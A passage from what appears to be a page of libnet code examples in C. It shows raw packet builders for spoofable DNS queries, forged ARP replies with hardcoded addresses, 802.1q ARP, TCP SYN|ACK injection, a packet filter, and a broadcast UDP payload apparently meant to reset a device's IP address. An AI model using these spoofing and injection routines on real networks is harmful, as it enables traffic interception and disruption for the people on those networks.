    while ((c = getopt(argc, argv, "d:s:q:t")) != EOF)
    {
        switch (c)
        {
	    
            case 'd':
                if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad destination IP address: %s\n", optarg);
                    exit(EXIT_FAILURE);
                }
                break;
            case 's':
                if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad source IP address: %s\n", optarg);
                    exit(EXIT_FAILURE);
                }
                break;
            case 'q':
                query = optarg;
                break;
            case 't':
                type = LIBNET_TCP_DNSV4_H;
                break;
            default:
                exit(EXIT_FAILURE);
        }
    }
    
    if (!src_ip)
    {
        src_ip = libnet_get_ipaddr4(l);
    }

    if (!dst_ip  || !query)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    /* 
     * build dns payload 
     */
    payload_s = snprintf(payload, sizeof payload, "%c%s%c%c%c%c%c", 
			 (char)(strlen(query)&0xff), query, 0x00, 0x00, 0x01, 0x00, 0x01);
    
    /* 
     * build packet
     */
    dns = libnet_build_dnsv4(
	type,          /* TCP or UDP */
	0x7777,        /* id */
	0x0100,        /* request */
	1,             /* num_q */
	0,             /* num_anws_rr */
	0,             /* num_auth_rr */
	0,             /* num_addi_rr */
	payload,
	payload_s,
	l,
	0
	);
   
    if (dns == -1)
    {
        fprintf(stderr, "Can't build  DNS packet: %s\n", libnet_geterror(l));
        goto bad;
    }

    if (type == LIBNET_TCP_DNSV4_H) /* TCP DNS */
    {
	ptag4 = libnet_build_tcp(
	    0x6666,                                    /* source port */
	    53,                                        /* destination port */
	    0x01010101,                                /* sequence number */
	    0x02020202,                                /* acknowledgement num */
	    TH_PUSH|TH_ACK,                            /* control flags */
	    32767,                                     /* window size */
	    0,                                         /* checksum */
	    0,                                         /* urgent pointer */
	    LIBNET_TCP_H + LIBNET_TCP_DNSV4_H + payload_s, /* TCP packet size */
	    NULL,                                      /* payload */
	    0,                                         /* payload size */
	    l,                                         /* libnet handle */
	    0);                                        /* libnet id */
	
	if (ptag4 == -1)
	{
	    fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
	    goto bad;
	}
	
	
	ip = libnet_build_ipv4(
	    LIBNET_IPV4_H + LIBNET_TCP_H + type + payload_s,/* length */
	    0,                                          /* TOS */
	    242,                                        /* IP ID */
	    0,                                          /* IP Frag */
	    64,                                         /* TTL */
	    IPPROTO_TCP,                                /* protocol */
	    0,                                          /* checksum */
	    src_ip,                                     /* source IP */
	    dst_ip,                                     /* destination IP */
	    NULL,                                       /* payload */
	    0,                                          /* payload size */
	    l,                                          /* libnet handle */
	    0);                                         /* libnet id */
	
	if (ip == -1)
	{
	    fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
	    exit(EXIT_FAILURE);
	}

    }
    else /* UDP DNS */
    {
        ptag4 = libnet_build_udp(
            0x6666,                                /* source port */
            53,                                    /* destination port */
            LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + payload_s, /* packet length */
            0,                                      /* checksum */
            NULL,                                   /* payload */
            0,                                      /* payload size */
            l,                                      /* libnet handle */
            0);                                     /* libnet id */

	if (ptag4 == -1)
	{
	    fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
	    goto bad;
	}

	
	ip = libnet_build_ipv4(
	    LIBNET_IPV4_H + LIBNET_UDP_H + type + payload_s,/* length */
	    0,                                          /* TOS */
	    242,                                        /* IP ID */
	    0,                                          /* IP Frag */
	    64,                                         /* TTL */
	    IPPROTO_UDP,                                /* protocol */
	    0,                                          /* checksum */
	    src_ip,                                     /* source IP */
	    dst_ip,                                     /* destination IP */
	    NULL,                                       /* payload */
	    0,                                          /* payload size */
	    l,                                          /* libnet handle */
	    0);                                         /* libnet id */
	
	if (ip == -1)
	{
	    fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
	    exit(EXIT_FAILURE);
	}
    }

    /*
     * write to the wire
     */
    c = libnet_write(l);
    if (c == -1)
    {
        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
        goto bad;
    }
    else
    {
        fprintf(stderr, "Wrote %d byte DNS packet; check the wire.\n", c);
    }
    libnet_destroy(l);
    return (EXIT_SUCCESS);
  bad:
    libnet_destroy(l);
    return (EXIT_FAILURE);
}
Example #24
0
int main(int argc, char *argv[]){
	int c;
	uint32_t i;
	libnet_t *l;
	libnet_ptag_t t;
	char *device =NULL;
	uint8_t *packet;
	uint32_t packet_s;
	char errbuf[LIBNET_ERRBUF_SIZE];
	
	u_char enet_src[6] = {0x08,0x00,0x27,0x92,0x07,0xb6};
	u_char enet_dst[6] = {0x94,0xB8,0X6D,0xFC,0xDA,0xA0};
	u_char ip_dst[4] ={0xc0,0xa8,0x2b,0x92};
	u_char ip_src[4] ={0xc0,0xa8,0x2b,0x01};
	

	printf("libnet 1.1 packet shaping : ARP [link --autobuilding ethernet]\n");
	
	if(argc >1){
		device = argv[1];
	}


	l =libnet_init(LIBNET_LINK_ADV, device,errbuf);

	if(l ==NULL){
		fprintf(stderr,"libnet_init() failed :%s",errbuf);
		exit(EXIT_FAILURE);

	}else
		i =libnet_get_ipaddr4(l);
	
	t=libnet_autobuild_arp(ARPOP_REPLY,enet_src,ip_src,enet_dst,ip_dst,l);
	if(t ==-1)
	{
		fprintf(stderr, "can't build ARP header:%s\n",libnet_geterror(l));
		goto bad;
	}

	t=libnet_autobuild_ethernet(enet_dst,ETHERTYPE_ARP, l);


	if(libnet_adv_cull_packet(l,&packet,&packet_s)==-1){
		fprintf(stderr, "%s",libnet_geterror(l));
	}else{
		fprintf(stderr, "packet size : %d\n", packet_s);
		libnet_adv_free_packet(l,packet);
	}
	c=libnet_write(l);
	if(c==-1){
		fprintf(stderr,"Write error : %s \n",libnet_geterror(l));
		goto bad;

	}else{
		fprintf(stderr,"Wrote %d byte ARP packet from context \ %s\";""check the wire\n",c,libnet_cq_getlabel(l));

	}
	libnet_destroy(l);
	return (EXIT_SUCCESS);
bad :
	libnet_destroy(l);
	return(EXIT_SUCCESS);

}
Example #25
0
int
main(int argc, char *argv[])
{
    int c, len, do_802_2;
    u_long i;
    libnet_t *l;
    libnet_ptag_t t;
    u_char *dst, *src, oui[3];
    char *device = NULL;
    char errbuf[LIBNET_ERRBUF_SIZE];

    printf("libnet 1.1 packet shaping: ieee[802.1q / 802.2 / ARP]\n"); 

    do_802_2 = 0;
    device = NULL;
    src = dst = NULL;
    while ((c = getopt(argc, argv, "8d:i:s:")) != EOF)
    {
        switch (c)
        {
            case '8':
                do_802_2 = 1;
                break;
            case 'd':
                dst = libnet_hex_aton(optarg, &len);
                break;
            case 'i':
                device = optarg;
                break;
            case 's':
                src = libnet_hex_aton(optarg, &len);
                break;
        }
    }

    if (src == NULL || dst == NULL)
    {
        fprintf(stderr, "usage %s -d dst -s src [-8 ] [-i interface]\n",
                argv[0]);
        exit(EXIT_FAILURE);
    }

    /*
     *  Initialize the library.  Root priviledges are required.
     */
    l = libnet_init(
            LIBNET_LINK,                            /* injection type */
            device,                                 /* network interface */
            errbuf);                                /* errbuf */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE);
    }

    i = libnet_get_ipaddr4(l);
     
    t = libnet_build_arp(
            ARPHRD_ETHER,                           /* hardware addr */
            ETHERTYPE_IP,                           /* protocol addr */
            6,                                      /* hardware addr size */
            4,                                      /* protocol addr size */
            ARPOP_REPLY,                            /* operation type */
            src,                                    /* sender hardware addr */
            (u_char *)&i,                           /* sender protocol addr */
            dst,                                    /* target hardware addr */
            (u_char *)&i,                           /* target protocol addr */
            NULL,                                   /* payload */
            0,                                      /* payload size */
            l,                                      /* libnet handle */
            0);                                     /* libnet id */
    if (t == -1)
    {
        fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    if (do_802_2)
    {
        memset(&oui, 0, 3);
        t = libnet_build_802_2snap(
            0xaa,                                   /* SNAP DSAP */
            0xaa,                                   /* SNAP SSAP */
            0,                                      /* control */
            oui,                                    /* oui */
            ETHERTYPE_ARP,                          /* ARP header follows */
            NULL,                                   /* payload */
            0,                                      /* payload size */
            l,                                      /* libnet handle */
            0);                                     /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build 802.2 header: %s\n", libnet_geterror(l));
            goto bad;
        }
    }
    t = libnet_build_802_1q(
            dst,                                    /* dest mac */
            src,                                    /* source mac */
            ETHERTYPE_VLAN,                         /* TPI */
            0x006,                                  /* priority (0 - 7) */
            0x001,                                  /* CFI flag */
            0x100,                                  /* vid (0 - 4095) */
            do_802_2 ? LIBNET_802_2SNAP_H + LIBNET_ARP_ETH_IP_H : 0x0806,
            NULL,                                   /* payload */
            0,                                      /* payload size */
            l,                                      /* libnet handle */
            0);                                     /* libnet id */
    if (t == -1)
    {
        fprintf(stderr, "Can't build 802.1q header: %s\n", libnet_geterror(l));
        goto bad;
    }
    /*
     *  Write it to the wire.
     */
    c = libnet_write(l);

    if (c == -1)
    {
        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
        goto bad;
    }
    else
    {
        fprintf(stderr, "Wrote %d byte 802.1q packet; check the wire.\n", c);
    }
    free(dst);
    free(src);
    libnet_destroy(l);
    return (EXIT_SUCCESS);
bad:
    free(dst);
    free(src);
    libnet_destroy(l);
    return (EXIT_FAILURE);
}
Example #26
0
void get_hw_info(void)
{
   u_long ip;
   struct libnet_ether_addr *ea;
   bpf_u_int32 network, netmask;
   char pcap_errbuf[PCAP_ERRBUF_SIZE];
 
   /* dont touch the interface reading from file */
   if (!GBL_LNET->lnet || GBL_OPTIONS->read) {
      DEBUG_MSG("get_hw_info: skipping... (not initialized)");
      return;
   }
   
   DEBUG_MSG("get_hw_info");
  
   /* get the ip address */
   ip = libnet_get_ipaddr4(GBL_LNET->lnet);
   
   /* if ip is equal to -1 there was an error */
   if (ip != (u_long)~0) {

      /* the interface has an ip address */
      if (ip != 0)
         GBL_IFACE->configured = 1;
      
      /* save the ip address */
      ip_addr_init(&GBL_IFACE->ip, AF_INET, (char *)&ip);
      
      if (pcap_lookupnet(GBL_OPTIONS->iface, &network, &netmask, pcap_errbuf) == -1)
         ERROR_MSG("%s", pcap_errbuf);
      
      ip_addr_init(&GBL_IFACE->network, AF_INET, (char *)&network);

      /* the user has specified a different netmask, use it */
      if (GBL_OPTIONS->netmask) {
         struct in_addr net;
         /* sanity check */
         if (inet_aton(GBL_OPTIONS->netmask, &net) == 0)
            FATAL_ERROR("Invalid netmask %s", GBL_OPTIONS->netmask);

         ip_addr_init(&GBL_IFACE->netmask, AF_INET, (char *)&net);
      } else
         ip_addr_init(&GBL_IFACE->netmask, AF_INET, (char *)&netmask);
      
   } else
      DEBUG_MSG("get_hw_info: NO IP on %s", GBL_OPTIONS->iface);
   
   /* get the mac address */
   ea = libnet_get_hwaddr(GBL_LNET->lnet);

   if (ea != NULL)
      memcpy(GBL_IFACE->mac, ea->ether_addr_octet, MEDIA_ADDR_LEN);
   else
      DEBUG_MSG("get_hw_info: NO MAC for %s", GBL_OPTIONS->iface);

   /* get the MTU */
   GBL_IFACE->mtu = get_iface_mtu(GBL_OPTIONS->iface);
   
   /* check the mtu */
   if (GBL_IFACE->mtu > INT16_MAX)
      FATAL_ERROR("MTU too large");

   USER_MSG("%6s ->\t%s  ",  GBL_OPTIONS->iface,
            mac_addr_ntoa(GBL_IFACE->mac, pcap_errbuf));
   USER_MSG("%16s  ", ip_addr_ntoa(&GBL_IFACE->ip, pcap_errbuf));
   USER_MSG("%16s\n\n", ip_addr_ntoa(&GBL_IFACE->netmask, pcap_errbuf) );
   
   /* if not in bridged sniffing, return */
   if (GBL_SNIFF->type != SM_BRIDGED)
      return;
   
   ip = libnet_get_ipaddr4(GBL_LNET->lnet_bridge);

   /* if ip is equal to -1 there was an error */
   if (ip != (u_long)~0) {
      ip_addr_init(&GBL_BRIDGE->ip, AF_INET, (char *)&ip);
      
      if (pcap_lookupnet(GBL_OPTIONS->iface_bridge, &network, &netmask, pcap_errbuf) == -1)
         ERROR_MSG("%s", pcap_errbuf);
      
      ip_addr_init(&GBL_BRIDGE->network, AF_INET, (char *)&network);
      ip_addr_init(&GBL_BRIDGE->netmask, AF_INET, (char *)&netmask);
      
   } else
      DEBUG_MSG("get_hw_info: NO IP on %s", GBL_OPTIONS->iface_bridge);
   
   ea = libnet_get_hwaddr(GBL_LNET->lnet_bridge);

   if (ea != NULL)
      memcpy(GBL_BRIDGE->mac, ea->ether_addr_octet, MEDIA_ADDR_LEN);
   else
      DEBUG_MSG("get_hw_info: NO MAC for %s", GBL_OPTIONS->iface_bridge);
   
   /* get the MTU */
   GBL_BRIDGE->mtu = get_iface_mtu(GBL_OPTIONS->iface_bridge);
   
   if (GBL_BRIDGE->mtu > INT16_MAX)
      FATAL_ERROR("MTU too large");

   USER_MSG("%6s ->\t%s  ",  GBL_OPTIONS->iface_bridge,
            mac_addr_ntoa(GBL_BRIDGE->mac, pcap_errbuf));
   USER_MSG("%16s  ", ip_addr_ntoa(&GBL_BRIDGE->ip, pcap_errbuf));
   USER_MSG("%16s\n\n", ip_addr_ntoa(&GBL_BRIDGE->netmask, pcap_errbuf) );

   /* some sanity checks */
   if (GBL_BRIDGE->mtu != GBL_IFACE->mtu)
      FATAL_ERROR("The two interfaces must have the same MTU.");

   if (!memcmp(GBL_BRIDGE->mac, GBL_IFACE->mac, MEDIA_ADDR_LEN))
      FATAL_ERROR("The two bridged interfaces must be phisically different");
}
Example #27
0
int main (int argc, char *argv[]) {

        libnet_t *p;
        libnet_ptag_t ip, udp, ipoptions, ether;
        u_long srcip, dstip;
        u_short srcport = 62976, dstport = 62976, x;
        signed int ret;
        char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
        int len;
        int8_t *macdst = "ff:ff:ff:ff:ff:ff";
        u_int8_t *macdest;
        char payload[128] =     "\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
                                "\x0a\x00\x32\x32" /* ip address to set too */
                                "\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
        u_short payloadlen = strlen(payload);

        srcip = libnet_get_ipaddr4(p); /* mod to spoof */
        dstip = libnet_name2addr4(p,"255.255.255.255",LIBNET_DONT_RESOLVE); /* 255.255.255.255 */
        udp = ip = ether = ipoptions = 0;

        if ( (macdest = libnet_hex_aton(macdst,&len)) == NULL) {
                fprintf(stderr,"cant get mac str - %s",libnet_geterror(p));
                exit (1);
        }

        if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
                fprintf(stderr,"cant init() - %s\n",errbuff);
                exit (1);
        }

        if ( (udp = libnet_build_udp(srcport,dstport,LIBNET_UDP_H + payloadlen,0,payload,payloadlen,p,udp)) == -1) {
                fprintf(stderr,"cant build udp - %s\n",libnet_geterror(p));
                exit (1);
        }

        for (x=0;x<20;x++) {
                ipopt[x] = libnet_get_prand(LIBNET_PR2);
        }

        ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);

        if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen +
LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {
                fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));
                exit (1);
        }

        if ((ether = libnet_build_ethernet (macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {
                fprintf(stderr,"cant build ether - %s",libnet_geterror(p));
                exit (1);
        }

        //libnet_diag_dump_pblock(p);

        if ( (ret = libnet_write(p)) == -1) {
                fprintf(stderr,"%s\n",libnet_geterror(p));
        }

        free(macdest); /* hex_aton malloc's - see libnet doco */
        libnet_destroy(p);

        return 0;
}
Example #28
0
int main()
{
   int c, i, seqn;
   libnet_t *l;
   libnet_ptag_t tcp, ip, eth;
   uint8_t *payload, SA[6], DA[6];
   ushort payload_s;
   uint32_t src_ip, dst_ip;
   uint16_t src_prt, dst_prt;
   char errbuf[LIBNET_ERRBUF_SIZE];
   struct libnet_ether_addr *enet_src;
   payload_s = 10;
   payload = malloc(payload_s*sizeof(uint8_t));
   memset(payload,0,payload_s);
   l = libnet_init(LIBNET_LINK, "nf2c0", errbuf);
   if(l == NULL){
      printf("libnet_init() error\n");
      goto bad;
   }
   enet_src = libnet_get_hwaddr(l);
   src_ip = libnet_get_ipaddr4(l);
   dst_ip = (192) | (168<<8) | (101<<16) | (20); 
   //char *srcip;
   //srcip = libnet_addr2name4(dst_ip,LIBNET_DONT_RESOLVE);
   //printf("conversion: %s %d\n", srcip,LIBNET_IPV4_H+LIBNET_TCP_H+LIBNET_ETH_H+payload_s);
   //return 0;
   sprintf((char*)SA,"%02x:%02x:%02x:%02x:%02x:%02x",
         (uint8_t)enet_src->ether_addr_octet[0],
         (uint8_t)enet_src->ether_addr_octet[1],
         (uint8_t)enet_src->ether_addr_octet[2],
         (uint8_t)enet_src->ether_addr_octet[3],
         (uint8_t)enet_src->ether_addr_octet[4],
         (uint8_t)enet_src->ether_addr_octet[5]);

   sprintf((char*)DA,"%02x:%02x:%02x:%02x:%02x:%02x",
         0x0,0x4E,0x46,0x32,0x43,0x0);

   src_prt = 80;
   dst_prt = 1010; 
   //src_ip = (192) | (164<<8)| (0<<16) | (55<<24);
   tcp = ip = eth = LIBNET_PTAG_INITIALIZER;
   //for(i=1;i<11;i++){
   for(i=0;i<10;i++){
      seqn=i*(LIBNET_TCP_H+payload_s+1);
      tcp = libnet_build_tcp(
         src_prt, 
         dst_prt, 
         seqn, 
         seqn+LIBNET_TCP_H+payload_s+1,
         TH_SYN | TH_ACK, 
         0, 
         0, 
         10, 
         LIBNET_TCP_H+payload_s,
         payload, payload_s, l, tcp);
      if(tcp ==-1){
         printf("libnet_build_tcp() error\n");
         goto bad;
      }
      ip = libnet_build_ipv4(
         LIBNET_IPV4_H+LIBNET_TCP_H+payload_s,
         0,
         242,
         0,
         64,
         IPPROTO_TCP,
         0, 
         src_ip,
         dst_ip,
         NULL,
         0,
         l,
         ip);
      if(ip==-1){
         printf("libnet_build_ipv4() error\n");
         goto bad;
      }
      eth = libnet_build_ethernet(
         DA,
         SA,
         ETHERTYPE_IP,
         NULL,
         0,
         l,
         eth);
      if(eth==-1){
         printf("libnet_build_ethernet() error\n");
         goto bad;
      }
      c = libnet_write(l);
      if(c==-1){
         printf("libnet_write() error\n");
         goto bad;
      }
      else
         printf("Wrote %d byte TCP packet.\nSeqNum: %d, ackNum: %d\n\n",c,seqn,seqn+LIBNET_TCP_H+payload_s+1);

         //printf("Wrote %d byte TCP packet.\n",c);
      
      sleep(1);
   }
   libnet_destroy(l);
   return 0;
bad:
   libnet_destroy(l);
   exit(EXIT_FAILURE);
}
Example #29
0
int packet_filter()
{
	char *dev, *nextdev;
	bpf_u_int32 mask;
	bpf_u_int32 net;
	struct bpf_program fp;
	char filter_exp[] = "ip and not dst host 172.16.205.1";
	char errbuf[PCAP_ERRBUF_SIZE];
	struct pcap_pkthdr header;
	const u_char *packet;
	libnet_t *int_llif, *ext_llif;
	struct ether_addr *t_hwaddr;
	pthread_t ntid;


/*	if ((dev = pcap_lookupdev(errbuf)) == NULL) {
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return(2);
	}
	printf("Device: %s\n", dev);
*/

	if (get_default_gateway(&def_gw) != 0) {
		fprintf(stderr, "Couldn't get default gateway\n");
		return(2);
	}
	printf("gw: %s\n", inet_ntoa(def_gw));

	/* initialize handler/filter for external network interface */
	dev = ext_ifname;
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "Couldn't get netmask for the device %s\n", dev);
		return(2);
	}
	printf("net: %s, mask %s\n", inet_ntoa(*(struct in_addr *)&net), inet_ntoa(*(struct in_addr *)&mask));
	if ((ext_if = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf)) == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev,errbuf);
		return(2);
	}

	if(pcap_compile(ext_if, &fp, filter_exp, 0, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(ext_if));
		return(2);
	}
	if(pcap_setfilter(ext_if, &fp) == -1) {
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(ext_if));
		return(2);
	}
	if ((ext_llif = libnet_init(LIBNET_LINK, ext_ifname, errbuf)) == 0) {
		fprintf(stderr, "Couldn't open local network interface %s: %s\n", ext_ifname, errbuf);
		return(2);
	}
	if ((*((u_int *)&ext_ip) = libnet_get_ipaddr4(ext_llif)) == -1) {
		fprintf(stderr, "Couldn't get local ip address for %s \n", ext_ifname);
		return(2);
	}
	if ((t_hwaddr = (struct ether_addr *)libnet_get_hwaddr(ext_llif)) == NULL) {
		fprintf(stderr, "Couldn't get local network interface address for %s \n", ext_ifname);
		return(2);
	}
	memcpy((u_char *)&ext_hwaddr, (u_char *)t_hwaddr, ETHER_ADDR_LEN);
	libnet_destroy(ext_llif);
	if (get_netmask(ext_ifname, &ext_mask) == -1) {
		fprintf(stderr, "Couldn't get local netmask for %s \n", ext_ifname);
		return(2);
	}
	printf("ext_ip : %s ", inet_ntoa(ext_ip) );
	printf("ext_ip : %s\n", inet_ntoa(ext_mask));
	
	/* initialize handler/filter for internal network interface */
	dev = int_ifname;
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "Couldn't get netmask for the device %s\n", dev);
		return(2);
	}
	printf("net: %s, mask %s\n", inet_ntoa(*(struct in_addr *)&net), inet_ntoa(*(struct in_addr *)&mask));
	if ((int_if = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf)) == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev,errbuf);
		return(2);
	}

	if(pcap_compile(int_if, &fp, filter_exp, 0, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(int_if));
		return(2);
	}
	if(pcap_setfilter(int_if, &fp) == -1) {
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(int_if));
		return(2);
	}
	if ((int_llif = libnet_init(LIBNET_LINK, int_ifname, errbuf)) == 0) {
		fprintf(stderr, "Couldn't open local network interface %s: %s\n", int_ifname, errbuf);
		return(2);
	}
	if ((*((u_int *)&int_ip) = libnet_get_ipaddr4(int_llif)) == -1) {
		fprintf(stderr, "Couldn't get local ip address for %s \n", int_ifname);
		return(2);
	}
	if ((t_hwaddr = (struct ether_addr *)libnet_get_hwaddr(int_llif)) == NULL) {
		fprintf(stderr, "Couldn't get local network interface address for %s \n", int_ifname);
		return(2);
	}
	memcpy((u_char *)&int_hwaddr, (u_char *)t_hwaddr, ETHER_ADDR_LEN);
	libnet_destroy(int_llif);

	if (pthread_create(&ntid, NULL, clean_thread, NULL) != 0) {
		fprintf(stderr, "Couldn't create thread\n");
	}
	if (pthread_create(&ntid, NULL, ext_thread, NULL) != 0) {
		fprintf(stderr, "Couldn't create thread\n");
	}
	if(pcap_loop(int_if, -1, got_packet, (void *)FROM_INT) == -1) {
		fprintf(stderr, "Couldn't  filte packet %s: %s\n", filter_exp, pcap_geterr(int_if));
	}

	pcap_close(int_if);
	return(0);
}